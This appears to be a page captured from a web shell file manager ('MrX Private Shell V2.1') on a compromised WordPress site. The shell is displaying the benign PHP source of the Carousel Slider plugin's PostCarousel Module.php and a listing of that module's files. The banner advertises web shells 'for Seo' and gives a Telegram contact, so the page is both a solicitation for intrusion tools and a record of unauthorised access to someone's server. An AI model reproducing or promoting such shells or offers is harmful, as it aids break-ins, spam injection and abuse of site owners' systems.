__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace CarouselSlider\Modules\PostCarousel;
defined( 'ABSPATH' ) || exit;
/**
* Module class
*
* @package Modules/PostCarousel
*/
class Module {
/**
* The instance of the class
*
* @var self
*/
protected static $instance;
/**
* Ensures only one instance of the class is loaded or can be loaded.
*
* @return self
*/
public static function init() {
if ( is_null( self::$instance ) ) {
self::$instance = new self();
add_filter( 'carousel_slider/register_view', [ self::$instance, 'view' ] );
Admin::init();
}
return self::$instance;
}
/**
* Render view
*
* @param array $views Registered views.
*
* @return array
*/
public function view( array $views ): array {
$views['post-carousel'] = new View();
return $views;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Admin.php | File | 5.75 KB | 0775 |
|
| Helper.php | File | 2.67 KB | 0775 |
|
| Item.php | File | 4.64 KB | 0775 |
|
| Module.php | File | 792 B | 0775 |
|
| Template.php | File | 3.21 KB | 0775 |
|
| View.php | File | 1.27 KB | 0775 |
|